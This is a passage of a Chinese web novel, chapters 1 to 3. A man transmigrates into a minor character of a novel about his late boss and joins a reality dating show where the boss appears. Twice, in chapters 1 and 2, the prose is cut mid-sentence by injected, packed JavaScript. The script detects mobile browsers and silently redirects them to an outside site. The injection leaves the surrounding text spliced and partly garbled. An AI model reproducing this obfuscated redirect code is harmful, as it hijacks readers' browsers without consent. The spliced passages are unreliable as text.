《这是什么修罗场!》 1. 第 1 章 “伤得怎么样?” 一道声音穿过虚空,将安乐言惊醒。 空气中弥漫着消毒水的气味,他躺在一片黑暗中,耳边有不知名的仪器发出轻微的嗡嗡声,不时有冷气拂过脸颊。 不远处传来衣物摩擦的窸窣和金属轻微的碰撞,那人“啧”了一声。 “是谁这么不要命,连你都敢捅?还好你躲得快。我说,你干脆去度个假得了。万一被粉丝扒出来你受了伤,那网上还不翻天?” 受伤的人没说话,不知道为什么,安乐言觉得,他应该是瞪了那人一眼。 空中果然漂浮起一丝尴尬,连空调都战战兢兢加大了马力,房间里冷气弥漫。 冷气透过皮肤咝咝地往里钻,安乐言终于感觉到了手脚的存在。 我这是……被人救了? 他只记得那时大雨如注,雨滴敲打着眼前的墓碑,溅起点点水花。 他斜靠着那块白色的大理石,看着模糊夜色里围拢过来的人影,侧头用脸贴了贴碑面。 石碑凉得透骨,血水顺着他的脸颊淌落,尚未染红下方的汉白玉石砖,又被前赴后继的雨水冲刷着,没入一旁的泥土中。 他却轻轻笑了起来。 “沧哥,我也就只有这么点本事,做不到你计划的那么好,就算我勉强替你报仇了,好不好?” 他艰难地张开双臂,轻轻抱了一下石碑,眼前便黑了下去。 不知是谁的手机发出“叮”的一声轻响,另一个男声终于响起:“躲可不是我的风格。这次闹出这么大动静,我那好叔叔第一个就会怀疑我。既然如此,不如就把自己放在聚光灯下,让他看个明白。跟他拆招太浪费时间,由得他疑神疑鬼去。” 安乐言猛地清醒过来。 这怎么可能? 那道熟悉的声音曾千百次在自己耳边响起,也在那几年里日夜在脑海中徘徊。 可沧哥不是已经…… 安乐言拼命挣扎起来。 意识重重落入身体,半晌才有了反应。可自认为激烈的动作在旁人看来,根本就只是昏迷者无意识的颤动。 脖子像是被卡住似的,心脏却越跳越快,越跳越快—— “嘀——” 连接他身体的仪器发出了尖锐的报警声,床边的隔断帘唰地被拉开。 嘈杂的人声涌入,他的意识却再次陷入黑暗之中。 “安乐言,安乐言?能听到我说话吗?” 这一次他终于能睁开眼,模模糊糊看见一个身穿白大褂的身影,正俯身看他。 “情况还不错,一会儿就能醒了。”那人好像是在向旁边的什么人解释着,“刚才那一下可能是苏醒时身体不适应而造成的心律失常,具体原因,要等检查结果出来才能确定。有问题随时找我们。” “好的,谢谢医生。”一个女声在他近旁响起,安乐言的手被轻轻握住。 指尖传来的温暖让他有点失神,等再次回过神来,年轻的医生似乎已经离开了。 手被重新塞进了被子,女人叹了口气。不一会儿,不远处传来了哗哗的水声,像是在拧毛巾。 安乐言睁开眼。 视野有些模糊,但能分辨出这是医院的白色病房,大概是四人间,却只躺了他一个。 他有点艰难地转过头。 旁边的床位空着,似乎还残留着有人坐过的凹痕。 他垂下眼眸,刚才那,不是梦? 女人匆匆走了过来,紧接着,一张温热的毛巾覆上了他的眼睛。 温柔的擦拭让模糊的视野变得清晰,安乐言动了动嘴唇,还没发出声音,女人的眼泪就下来了。 “言言,吓死妈妈了,”她哽咽着伸出手,似乎想碰一碰安乐言的头,却胆怯地缩了回来,声音颤抖着,“还疼吗?” 妈妈?我什么时候有妈妈了? 他扭头看向她。 女人大概四十多岁,衣衫简朴,一边给他擦手,一边温柔地说着话,语气里有着家长们常有的絮絮叨叨:“是你公司的同事送你到医院来的,说你从一个很高的台子上掉下来,吓死人了……” “6床,麻烦去一楼办一下住院手续。”护士的声音从门口传来。 女人忙回过头:“好的我马上,但是他……” “没事,”护士探头看了病床一眼,又脸色微红地挪开视线,“他现在醒了就没什么事了,护士站那边也一直有人。” 安妈妈给他把双手擦完,把毛巾拧干搭在床栏上,这才拿过单据仔仔细细看了两遍,又给安乐言掖好被角:“那我去一下,很快就回来。” “顺便给我带点吃的吧,我饿了。”安乐言哑着嗓子,暗暗关注着女人的反应。 他需要时间来理清现在的状况,这个自称他母亲的女人如果一直赖在他身边,就说明这里有可能是个陷阱,得赶紧想办法逃走。 女人却似乎对他的试探一无所觉,闻言眼睛一亮:“饿了好啊!家里我熬了汤的,我回去拿,一会儿就来了。” 她激动得有点过分,几步冲出房间,又急急忙忙退了回来,把带着长线的呼叫按钮塞进安乐言手里,不放心地嘱咐:“不舒服了就按铃,妈妈很快就回来。” 房门轻轻阖上,安乐言松了口气,缓缓放下一直提防的心,闭眼躺了一会儿。 微热的夏风从窗缝里偷溜进来,窗帘轻轻摇摆,一切似乎都陷入午后的宁静之中。突然,他听见房门发出一声轻响,像是有人去而复返。 那女人,果然有问题吗? 不对,脚步声不对! 此刻他仰面躺着,看起来像是睡着了一般。安乐言没有睁开眼睛,努力积蓄力量。 病房门边却突然传来了低低的自言自语。 “卧槽,你还真是命大啊,那么高摔下来都没事?”来人一边嘀嘀咕咕,一边向房间里面走来。 “兄弟,别怪我,这年头钱是真的不好赚……” 脚步声越来越近,安乐言全身的神经都在那一刻绷紧。血液的快速循环让他终于抢回了身体的控制,各项感觉提升到极致。 破空声响起的时候,安乐言蓦然翻身,躲开了来人对自己脚踝的袭击。 晃动的视野中,他一眼扫见,那人一头黄毛,手臂上的刺青五花八门,手里还提着一根不知从哪儿找来的板凳腿,一看就是街头不入流的混混。 下一秒,安乐言就着他前冲的势头,在他脖子上狠狠一勾。 黄毛根本躲闪不及,鼻梁和病床的铁栏瞬间来了个亲密接触。 “唔,疼疼疼疼疼——”黄毛捂着鼻子躺倒,板凳腿也脱了手,掉在床边。 无视他指缝里狂涌而出的鲜血,安乐言直接用木棒毛刺刺的一端抵住了他的咽喉。 “别打,我错了我错了。”木棒后传来一阵呜咽,黄毛被怼得仰高了脖子,眼泪鼻涕加上鼻血糊成了大花脸,还打了个哭嗝。 安乐言无语地看着这个缩成一团的窝囊废,在他面前蹲了下来。 “接了活来杀我?” “啊?”黄毛一脸震撼,“没有,杀人要偿命的!” 安乐言垂眸看了眼手里的木棒。 “真的!”黄毛也顾不得鼻子疼了,连忙辩解,“谁敢动人命?我也就想让你断个手断个腿什么的,所以……” 所以刚才那一下才会冲着脚踝,而不是脑袋。 倒是……很合理。 安乐言冷笑一声:“傅家派你来的?” 黄毛一愣:“什么傅家?” 木棒向前怼了点,黄毛立刻慌了:“真的真的,我不认识什么傅家,就是在网上接了个单,拿钱办事,其他的我都不知道!” 他说话的时候表情很夸张,连带着脸上的鼻涕血迹一起乱飞。 安乐言有点嫌弃地撤下了木棒。 眼前有点发黑,是体力透支的前兆,他起身靠着病床,随手抓过床栏上的毛巾丢给黄毛。 顺便讽刺:“可以啊,都开始网络接单了,体系还挺先进。” “谢,谢谢,”黄毛的脸被捂在毛巾里,声音闷闷的。 他拿毛巾擦了把脸,又嗷嗷地叫了两声疼,这才赔上笑脸,“现在哪一行不卷,都智能时代了,我们再不得跟着大家一起city,怎么吃得上饭啊!” 方才那一下撞得不轻,黄毛的鼻梁已经高高肿起,他眯着眼睛看了眼床边的少年。 少年身形单薄,眉目如画,只是脸色极为苍白,在午后阳光的照射下,肌肤近乎透明。 或许是因为刚刚醒来,他整个人都透着深深的疲惫,仿佛下一秒就会倒下,再度昏睡过去。 但就是这么脆弱的一个人,刚才轻轻松松就把他打得趴下,甚至连手上的吊针都没有脱落…… 黄毛打了个寒战,悄摸摸地后退两步,见安乐言并没有动作,赶紧一溜烟跑出了病房。 溜得还挺快。 安乐言喘了口气,随手把木棍塞进床底,嫌弃地看了眼地上的毛巾。 洁白的毛巾上血迹斑斑,还糊着几块闪光的黏液。 挣扎半晌,他还是扒下了床头柜上装水果的塑料袋,拎着毛巾的一角,把那团垃圾塞进了袋子里,让它和凳子腿做了伴。 方才聚集的力量此刻已消耗殆尽,安乐言眼前一黑,倒回床上。 这次是真的安静下来,连户外的蝉鸣都弱了。 方才的激烈像是一场远去的梦,在记忆里变得不太真实。 的确不真实。 以傅家的实力,若是找到了他,根本不会给他自救的机会,但刚才那个小混混,简直弱得离谱,还说什么网上接单。 安乐言闭眼忍过一阵头晕,半支起身子,打开床头柜的小抽屉。 抽屉里躺着一支手机,型号挺新,并不是他用的那款。 他皱着眉拿起手机,晃动间屏幕亮起,人脸识别自动解锁。 安乐言:…… 屏幕停留在微信界面,最后的信息是发给对方的,时间是两天前: 【白的小甜言:白哥,我终于拿到名额了,可以和你一起上《美味关系》啦!】 安乐言皱眉翻了翻两人的聊天记录,对面的那位白哥似乎很高傲,往往是这边发了一大堆才会回一条,朋友圈却发得很勤。每天满满的九宫格,最近的一张照片是某豪宅大门,高级豪车停了一片。 配字:到傅哥家了,乖巧等。 安乐言盯着那熟悉的豪宅好一会儿,心中突然一动。 他切出微信,打开微博。 机主的微博里都是漫展上的各种cos照,偶尔夹着几张自拍。 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730294|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐言把一张明显精修过的生活照放大细看,照片中的男生的脸和他几乎一模一样,只是长着一双微微下撇的狗狗眼,乖巧可爱。 安乐言揉了揉额角,只觉得一阵头疼。 不该存在的母亲,coser,白哥,美味关系、傅家…… 这明明是一本书。 之所以这么笃定,是因为他看过这本书。 不仅看过,还真的熟读到几乎可以背诵。 倒不是因为书里有个和他同名同姓的小配角,而是因为,那虽然是本狗血娱乐圈文,却也是一本复仇向真人同人小说,男主正是他的老板——傅识沧。 在这本小说里,傅识沧和在现实中一样,被叔叔陷害失去了父母,却一直隐忍着积蓄力量,终于在长大后夺回了本应属于自己的集团,亲手将恶毒的叔叔送上断头台。 在失去傅识沧的那五年里,他一直用这本小说激励自己,才坚持到了最后的那一刻。 只可惜,这本书出现得太晚了,不然他一定会逼着沧哥好好看看,熟读并背诵。 所以,他这是穿书了?穿到了这本小说中,成为一个虚构人物的小跟班,在中后期下线的小炮灰。 刚刚恢复的精神又有了些要崩溃的迹象,安乐言躺在床上,默默咀嚼着这不可思议却无法改变的事实。 中后期…… 他突然精神一振。 原来如此!刚才碰到的那个弱鸡黄毛,或许跟傅家真的没有关系,因为沧哥的复仇现在尚未开始。 那也就是说,他可能有机会一路围观沧哥的复仇行动! 小说里没多少他的戏份,只说白家少爷黑化后,他因为爱慕白少爷,替他做了很多坏事,从而被男主如捏碎蝼蚁般随手处理掉。 呜呜呜,沧哥好霸气! “安乐言,量体温了。”护士推着推车进来,把体温计递给床上的人,见他的吊瓶已经见底,过来给他拔针。 安乐言依然沉浸在方才的发现中。 如果自己小心一点呢?现在的白景辰不过是个恋爱脑的小少爷,距离黑化还有好几年。 如果他能早点和白家撇清关系,就不会被黑化的白少爷牵连,说不定,他还能看到沧哥彻底复仇,把坏蛋送走的那天! 多帅啊! 他兴奋地坐起来,向护士抬起手。 “怎么肿了?”小护士有点忐忑地拿棉签按着他的手背,眼前的少年却突然笑了。 午后的阳光澄澈,少年不过十八九岁年纪,皮肤白皙,一双桃花眼微挑,带着点微傲,生机勃勃。 那笑容如春风吹拂,那股从心底里透出来的喜悦,让人看见就心生欢喜。 护士给他按了好一会儿手背才红着脸出去,安乐言终于起身来到洗手间,看着镜中的自己。 笑容散去,镜中眸子澄澈安静,现出些超越年龄的矜持。 他拉了拉自己的眼角,做出和微博照片里一样的眼型。 原主……不喜欢这双眼睛吗? 洗手间外匆匆的脚步声打断了他的思索,安妈妈终于回来,带来一个巨大的保温桶和一袋子换洗衣服。 “起来了啊!”女人看他已经能站起来,语气轻快了许多,“等出院再扮吧,先吃饭。” 安乐言洗了手,看着安妈妈忙碌地支起小餐桌,从保温桶里端出汤汤水水。 “我问过医生了,你今天只能吃流食。鸡汤是家里的,我还买了粥。” 疑惑已解,安乐言对安妈妈放了心,坐下来喝汤。 鸡汤鲜香可口,他忍不住多喝了两碗。 安妈妈一脸喜色:“好喝吧?你好久没回家吃饭了,正好补补。” 安乐言看着她还在忙前忙后,伸手拉了拉女人的衣袖:“您别忙了,歇会儿。” 安妈妈动作一顿,倒是看起来更高兴了些,她也不坐,就靠着矮柜站着,眼睛一直黏在安乐言脸上。 安乐言被她瞧得有些脸红,刚要说话,就听见她喃喃道:“挺好看的孩子,干嘛每次都要把眼角画下来,你这个样子,说不定白少爷更喜欢。” 安乐言:…… 原来是为了他。 书里说他这个小炮灰爱白少爷爱得无法自拔,这么看来,还真是用情至深。 一阵铃声突然响起,安乐言抬头,就见安妈妈手忙脚乱地掏出手机,愣了两秒才接起来,迟疑道:“白,白少爷?” 电话那头隐隐有音乐传来,青年的声音却带着一丝不耐:“他醒了是吧,让我跟他说两句。” 安妈妈一脸担忧地看着儿子,手机攥在手里不敢递,也不敢说话。 安乐言喝干净最后一口汤,这才慢条斯理地放下碗,接过女人的手机。 他把手机贴在耳边,声音不高,却十分清晰:“谢谢白哥,我没事了。” “你……你好了啊!”白景辰的声音陡然收紧了些,“不舒服就别强撑,我跟导演说了你受伤的事,你再给他打个电话确认一下,退出好好休息吧。” 安乐言微笑起来。 那怎么可能?这恋综里还有沧哥的戏份呢! 作为他的前任助理和现任支持者,当然要亲自去见证这一切! 他冲着妈妈弯了弯眼睛,温柔而坚定地回复道:“我不退出,白哥。我想和你一起上节目。” 2. 第 2 章 “你……真没事了?”白景辰似乎有些烦恼。 恋综的人选其实早就定了。 作为现在的大热门综艺,《美味关系》最大的优势就是没有剧本,镜头上呈现的都是嘉宾们的自然反应,主打一个真实感。 因此在选择嘉宾的时候,当然以素人为主,最多只有一两个娱乐圈人士。比如白景辰自己,就是以知名爱豆的身份被选中,为节目引流。 安乐言是半职业coser,原本的人选是和他走同样路线的师兄。但听说白景辰要参加,深爱着他的小炮灰死乞白赖磨了师兄和公司一个月,又献祭出了自己几乎全年的商演机会,才换来了这么个名额。 前脚刚和节目组签好合同,后脚小炮灰就迫不及待地在微博上高调示爱,引来一堆网友热议。 所以此刻,如果强行让他退出,还不知道这个疯子会做出什么事来。 白景辰轻咳了两声掩饰住语气中的失望,想再劝他两句,大宅门口却隐隐传来声音:“傅少爷回来了……” 这下子白景辰连安抚的话都懒得说了,只匆匆嘱咐了一句要注意身体便挂了电话。 “言言,你……真的要参加那个节目啊?”安妈妈迟疑地收起碗筷,“我听说参加那个节目的都是有钱人,妈妈没本事,白少爷会不会嫌弃……” “您别听他们瞎说,这节目可没规定一定要有钱才能参加。”安乐言起身帮她拿起保温桶,“而且我其实……也不是那么喜欢白少爷。” “不喜欢,那你还……”安妈妈看起来迷惑极了,迷迷糊糊地洗了会儿碗,突然又从对面的水房里冲了回来。 “言言,你该不会是想在这个节目里和别的有钱人谈恋爱吧,这可是当着白少爷的面!你要是真在他眼前和别人好,他,他会报复你的!” 安乐言:…… 开玩笑,谈恋爱哪儿有复仇有意思?他是要去欣赏沧哥的复仇壮举,为那个世界的沧哥和自己解解气! 但看着女人眼中深深的担忧和不解,他扶住安妈妈的肩膀:“您就别担心了,这个是恋综的规矩,每个人都可以向别人表示好感,不到节目最后也不会明确地表白。” “再说了,”他毫不在意地耸耸肩,“我就是去做个陪衬,才没有攀高枝的心呢。白少爷又不喜欢我。” “啊?你知道啊!”安妈妈一脸惊吓。 “我当然知道啊,”安乐言认认真真地继续编,“其实之前我就想明白了,我参加这个节目,就是想亲眼看到白少爷是怎么喜欢别人的,这样我……” 他垂下脸,让浓密的眼睫遮住眼中的表情:“这样,我就真的能死心了。” 两天后,安乐言拖着行李箱,来到了节目组指定的地址。 眼前是一座漂亮的三层小楼,门前的小花园里繁花似锦。鹅卵石铺就的小路将他引领至干净宽大的门廊,同时也将他带入了直播镜头之中。 【哟嚯,又来一个,还挺帅的嘛!】 【据说是个coser,出过几个大热漫的角色,素颜还可以哦】 【coser嘛主要靠化妆,不过身材不错,这身高大概一米八多?腿好长,呲溜~感觉不论攻受都有点诱人】 【为啥说不论攻受?不怕站反吗?】 【谁让这节目压根不公开是1是0,我们猜不着,嘉宾们也猜不着,刺激!】 【不公开,选择的余地就更大,修罗场也更激烈,张导赛高!】 【那是,上期吴青玉和谢源那一对简直千古悬案,谁都以为是两位受君,也不知道谁会为爱做1】 弹幕里乱七八糟地讨论着,镜头下,安乐言深吸了一口气,抬手推开大门。 宽大干净的玄关里已经放了三四个行李箱,鞋柜前摆着三双男鞋。 恋综的老套路了。 安乐言点点头,把行李箱靠墙放好,换上拖鞋。 一楼是客厅、餐厅和厨房,全都空荡荡的,看样子,他们应该在二楼的起居室。 他定了定神,拾级而上。 “好像又有人来了。” 楼梯上到一半,一个男声在上方不远处响起,音质低沉清润,尾音却含在了模糊的笑意里,十足风流。 安乐言心里一阵兴奋。 穆为,这一定是穆为!书里被称为海城大总攻的穆家少爷! 作者花了大量的篇幅描述这位富贵公子。 穆家几代豪门,父亲是海城赫赫有名的地产大亨,母亲则经营着影响力巨大的跨国传媒集团,简直就是天之骄子,含着金汤匙出生。 而这位大少爷从成年起便行事风流不羁,出柜后更是睡遍海城0圈,后来干脆在最繁华的商业地段开了家酒吧,日日混迹其中,夜夜逍遥快活。 啧啧啧,不愧是热门恋综,连这样的贵公子都能请到! 透过一尘不染的玻璃隔断,能看到起居室三人的身影。 距离楼梯最近的男人原本坐在单人沙发上,在看见安乐言的瞬间,立刻站了起来,冲他露出微笑。 不笑已有三分风流,笑起来却给人以真诚深情的感觉,再加上高大挺拔的身姿,怪不得被奉为钙圈天菜,不知道这次又有谁会落入他的情网? 安乐言的心在瓜田里狠狠打了个滚,万分努力地把脸上的表情控制好,微笑着说:“你好,我是安乐言。” “我是穆为。你……” “请等一下!”一个声音突兀地打断了穆为的欢迎辞,接着白影一闪,安乐言面前突然多了一个人。 银发黑眸,个子比安乐言稍矮一点,气质却极好,一件简单剪裁的白衬衫穿在他身上,都现出浓浓的艺术气息。 安乐言愣了一下,随即了然。 画家银心,据说很晚才开始学画,画技却一日千里,很快就跻身华国顶尖画家行列,是个十足的画痴。 虽然现在还年轻,但一旦突破瓶颈,便能开山立派,成长为一代大家。 不过一眨眼的功夫,银心已经闪到了安乐言身边,伸手便拂向他的额角:“你的眼睛……” 突然有异物接近,安乐言条件反射地伸手挡了一下。 “啊,抱歉!”银心似乎现在才意识到自己的唐突,放下手局促道,“你的眼睛太美了,咱们在这儿的时候,介意我给你拍照和画像吗?” 安乐言扑哧一声笑了。 在座的哪个不是美男?这个恋综简直就是男色盛宴!原书里更是用“囊括天下绝色”来形容这期的嘉宾。 当然,不包括他这个毫无存在感的小炮灰。 而银心这个画痴,一定是给在座的两位都提出过这种要求,不然,那位依然坐在沙发上的青年,为什么露出一脸嫌弃的表情? 眸光转回银心,安乐言点点头:“过奖了,我不介意。不过这里帅哥这么多,这一个月里,你肯定拍不过来,也画不过来了。” 他的回答惹来了穆为的一声轻笑,连沙发上的那位也转过脸来,向他点了点头。 “你好,我是聂长星。” 安乐言眼前一亮。 天才少年聂长星,十六岁便进入海大医学院,二十二岁已经是化学和临床医学双料博士。平日里不是在实验室里搞科研,就是在杂志上发表论文,年纪轻轻已经拥有一大堆奖项和专利。 这样的璀璨新星,如果不是来恋综,真是一辈子都难得见到! 寒暄完毕,安乐言看了看三人之前所坐的位置。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730295|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 穆为坐在单人沙发上,对面是聂长星所在的双人软榻,中间是柔软的长沙发,却没人坐。 银心刚才站在窗边,似乎在研究沙发背后的一棵龟背竹。 等会儿应该还有两个人要来,当然要把C位让给他们。 安乐言选择了三人长沙发的角落。 这个位置距离镜头最远,还不时会被聂长星挡住,却能把眼前各式各样的帅哥尽收眼底,当然是他这个吃瓜小炮灰的绝佳选择。 落座后气氛依然尴尬,穆为目光玩味地在三人之间飘动。聂长星似乎不太喜欢穆为的目光,隐晦地瞪了他一眼后,低头玩起怀里的抱枕。 银心却还愣在刚才的地方,远远看向安乐言的方向。 安乐言冲着大家笑了笑,低头看着玻璃茶几上自己的倒影。 他今天来之前,按照原主的照片,偷偷用裁剪后的瘦脸贴改了眼型,把微翘的眼角下拉成乖巧的狗狗眼。 他以前当过几年职业coser,这种操作当然不在话下,拉下眼角后再上一层轻薄的底妆,不知情的人,就算是凑到跟前也看不出破绽。 不过他也不打算一直这样装扮,每天改变一点点,一周后就能恢复他本来的样子。反正自己是个小炮灰也没人注意,回头把微博照片一删,等到第二期开始的时候,大家早就忘记他原来是什么模样了。 完美! 心里刚拿定主意,他突然感觉身旁的沙发下陷,银心已经一屁股坐到了他身边,目光细细地描摹着他的眼睛。 安乐言:…… “大家都渴了吧,”他站起身,“厨房的冰箱里应该有水,我去拿点上来。” 说完他就绕过茶几,轻巧地下了楼。 网友们松了口气。 【终于有人打破僵局了,刚才他们三个就超级尴尬,自我介绍完了都不讲话,急死我了】 【看样子小coser很会来事嘛,刚才他进来的时候穆公子就挺有兴趣的,他这一走,穆为的注意力完全不在起居室了】 【银心那个呆子更是着急,也不知道是惦记人还是惦记他的画】 【就只有聂长星没反应,不过天才嘛,傲一点正常,也不知道谁能打动他的心】 安乐言很快就来到了厨房。 厨房宽大明亮,锅碗瓢盆一应俱全,在阳光下闪闪发亮。 他想象了一下帅哥们在这里合作做饭的样子,忍不住露出一脸姨母笑。 拉开冰箱,里面早已准备好了冰水和饮料,还有一些可用于晚餐的食材。 安乐言回忆了一下书中的内容,今天加上自己应该会来六个嘉宾,那就拿六瓶好了。 他根据书里对各人的描述拿了水和饮料,要关门时迟疑片刻,换下一瓶矿泉水,给自己拿了瓶沧哥最喜欢的巧克力饮料。 他以前不喜欢喝这个,总觉得太甜,可沧哥不在的那几年里,他渐渐也喝习惯了。 “安乐言,乐言?”呼唤声打断了他的回忆,安乐言赶紧关上冰箱门,抱着饮料从厨房里走出来。 “抱歉啊,挑饮料花了点时间。”他抽出一瓶脉动递给来找他的银心,和他一起向楼梯走去。 就在这时,别墅的大门发出“咔嗒”一声响。 又有嘉宾到了。 按照原文推测,应该是那位艳压群芳的美艳受,和白景辰分属对头公司的演员——晨熙。 又是一位大美人,今天好有眼福啊! 安乐言抱着几瓶水,笑眯眯地转过头来。 大门开启,西装裤包裹的长腿出现在镜头中。 而别墅门内,安乐言的笑容却陡然凝固。 沧哥! 他怎么来了! 3. 第 3 章 在安乐言的记忆里,傅识沧根本就不该在这个时候出现。 原书虽然是根据现实改编,但其中的情节和人物和现实并不相同。 最明显的就是他这个小透明,他给傅识沧做了两年助理,但在这本书里,原本在傅氏集团工作的傅识沧却成了娱乐圈的红人,身边的助理一堆,却并没有他这号人物。 或许作者对他的名字还有那么一丁点印象,于是就顺手安排在了小炮灰的身上。 而恋综部分则完全是作者的原创。安乐言记的很清楚,《美味关系》第一轮入住别墅的嘉宾只有现在已经到达的他们四个,再加上晨熙和白景辰。 穆为作为六人中家世最好也最具风流的人物,在这一阶段将成为众人瞩目的存在。 银心、聂长星都对他一见钟情,从一开始两人之间就不对付。 而晨熙的加入更是让战火升级,修罗场急剧升温。 就连白景辰也差点动了心,暗中指使他这个小炮灰去打探了好几次。 而几天后登场的傅识沧,便如同被投入沙丁鱼群的鲶鱼,再次在嘉宾中掀起轩然大波。 嘉宾们忙着移情别恋,CP粉忙着找糖磕糖。 整个恋综的气氛,不是火爆的修罗场,就是直冒粉红泡泡的浪漫现场,观众们磕得死去活来,收视率则一飞冲天。 而眼前的傅识沧,简直比书里描绘的还帅! 原本就是天生的好相貌,肤色冷白,眉形锐利。而因为前段时间拍戏的原因,他的黑发留得略长,再配上一副银丝细边眼镜,矜贵的气质便如油画中走出的王子。 冷时如高岭之花,笑则尽显绅士优雅。 这是最完美的傅识沧,轻易便将安乐言牢牢钉在当场,久久无法做出反应。 傅识沧一进门,就看见了那个少年。 身材修长,个头堪堪到自己眼角,垂目便能看见他纤长的睫毛。 皮肤很白,一身简洁的白T和牛仔裤,看起来干净清爽。 只是表情有点可笑,仿佛他是个什么怪物似的,惊讶到一动不动,任由怀里抱着的冰水凝出点点水珠,把胸前打湿一片。 傅识沧将手里的行李箱靠墙放好,见他还凝固着,朝他点了点头,迈步上楼。 在经过那呆萌少年的瞬间,他微微俯身,在他耳边轻声道:“去换件衣服吧。” 等傅识沧的身影消失在楼梯拐角处,安乐言才猛然惊醒过来。 衣服……什么衣服? 弹幕里这会儿热闹了起来: 【头一次看到恋综嘉宾不是在规定位置见面,就是场面有点奇怪】 【哈哈哈是的,难道不该是个粉红色的画面吗?安乐言的表情怎么那么惊讶?】 【笑死,不像是看到了意中人,倒像是被债主找上门】 【被傅哥颜值震撼了吧,说实话,第一次看他电影的时候,我一整天都魂不守舍,喝汤都喝到了鼻子里,比安乐言还搞笑】 【我比较好奇的是,傅哥上楼时对安乐言说了什么,他怎么脸红得那么厉害?】 【前面一看就是光顾着舔傅哥的颜了,提示一下,水,白T,粉红豆豆】 【喔喔喔,这么劲爆的吗?】 过了一会儿,抱着冰水的安乐言回到楼上,手里还搭着一件浅蓝色的衬衫,挡在胸前。 “抱歉,衣服湿了,我一会儿换上。”他向在座的几位笑笑,这才把水分下去。 脉动已经给了银心,他把果啤递给穆为,橙汁拿给聂长星,最后在酸梅饮和巧克力中犹豫了一下,把巧克力饮料递给了傅识沧。 穆为已经打开果啤咪了一口,捏着瓶子向傅识沧挑了挑眉:“我以为你不会喜欢那种甜腻腻的东西。” 傅识沧看了眼安乐言手里的酸梅饮:“但是在一瓶甜的和一瓶酸的之间,我还是比较倾向于甜的。” 他的目光在聂长星和穆为之间扫过,笑道:“看样子你们对饮料都挺满意的。” 三人都看向了站在一旁的安乐言,目光之中又多了不少善意。 穆为拿手中的果啤轻轻碰了碰他手里的酸梅饮:“谢谢你,给我们找到了喜欢的饮料。” 大家如同敬酒般拿起了各自的饮料喝了一口,傅识沧却突然问道:“你怎么不喝?” 安乐言委屈地瞅了眼手里的饮料瓶。 谁说他没喝,他刚才明明尝了一小口,可是—— 好酸!晨熙大美人怎么喜欢喝这么酸的东西? 他偷偷看了看傅识沧手中那瓶原本属于他的巧克力,却见他慢条斯理地拧开瓶盖,缓缓喝下一口。 液体流过咽喉,男人的喉结轻动,配合他慵懒随意的动作,竟让安乐言品出了几分暧昧。 他赶忙扫了其他嘉宾一眼。 几乎所有人都在偷看傅识沧,而刚刚到达,正站在楼梯口的白景辰更是已经红了脸,双眼几乎黏在傅识沧身上,撕都撕不下来。 安乐言悄悄退后一步,目光却不由自主地再次投向傅识沧。 当年的沧哥当然也一样的俊美无俦,但因为心急复仇,气质中总带着压抑与阴郁。 而现在的沧哥,举手投足绅士优雅,行动间又尽显性感暧昧。而这样的人,报起仇来却果断残忍,前期有多惨,后期就有多爽。 不愧是热卖小说,不愧是要当影帝的人,这个作者把沧哥写得太帅了! 不不不,沧哥本来就应该是这样! 安乐言欣慰地将房间里各人的表情尽收眼底,在心底里替现在的傅识沧好好骄傲了一番。 “好了,嘉宾们都到齐了,喝口水就下楼,咱们先来玩个小游戏。” 导演张茂的声音传来,嘉宾们的动作一顿。 前两期《美味关系》早已播出,嘉宾们之所以能够做出那么真实的情感反应,这位鬼才导演的安排功不可没。 在他的设计和安排下,嘉宾们经历了种种考验。藏得再深的心思,都会在张导安排的各种活动中露出蛛丝马迹,成为揭开情感线索的重要钥匙。 这期综艺和上一期之间相隔近半年,不知道张导又升级了哪些技能。 “我去换个衣服,马上来。” 安乐言拿着那件衬衫,匆匆走向旁边的一间卧室。 房间还没有分配,现在都是空的,也不知道摄像头开了没有。 安乐言背对着摄像头脱了白T,穿上衬衫。 裤子口袋里的手机突然震动了起来。 他用的是节目组发放的手机。 在恋综录制期间,嘉宾之间的联系方式是保密的,就连心动短信都是大家发给节目组,再由节目组转给发送目标。 但手机里可以存入两个电话号码,朋友或者家人都行,平时也可以打电话和他们联系。 毕竟,嘉宾们私下的吐槽和讨论,也是恋综的看点之一。 安乐言这才刚穿来,谁都不认识,就只添加了安妈妈一个人的号码。 似乎知道他时间紧,刚一接通,安妈妈就一口气说了好多。 “言言啊,我看见你上节目了,衣服带够没有?” “妈妈刚才也看了一小会儿直播,你们住的地方真不错。” “还有,上次妈妈跟你说的话,你要记着啊,别得罪人,知道吗?” 安乐言撇了撇嘴。 在这本小说里,安妈妈是白家的佣人,小炮灰也是跟着妈妈去过几次白家,才有机会见到白景辰,爱上白景辰。 白家势大,平时高高在上惯了,对待商业竞争者更是无所不用其极。 安妈妈怕是见过几次他们的报复手段。 外面嘉宾们都在等他,摄像头下,安乐言也没法多说,柔声安抚安妈妈: “您别瞎操心,我才不会去招惹他们呢。” 说完他就赶紧收了手机,下楼来到餐厅中。 客厅里放了一张圆桌,五个嘉宾已经安排好了位置,安乐言匆匆在唯一的空椅子上坐好。 导演张茂笑呵呵地拍了拍圆桌中间的一盏小灯,一束激光从灯罩中射出,一支串着小小爱心的箭头被投射在桌面上。 “游戏很简单,是个简化版的真心话大冒险。” 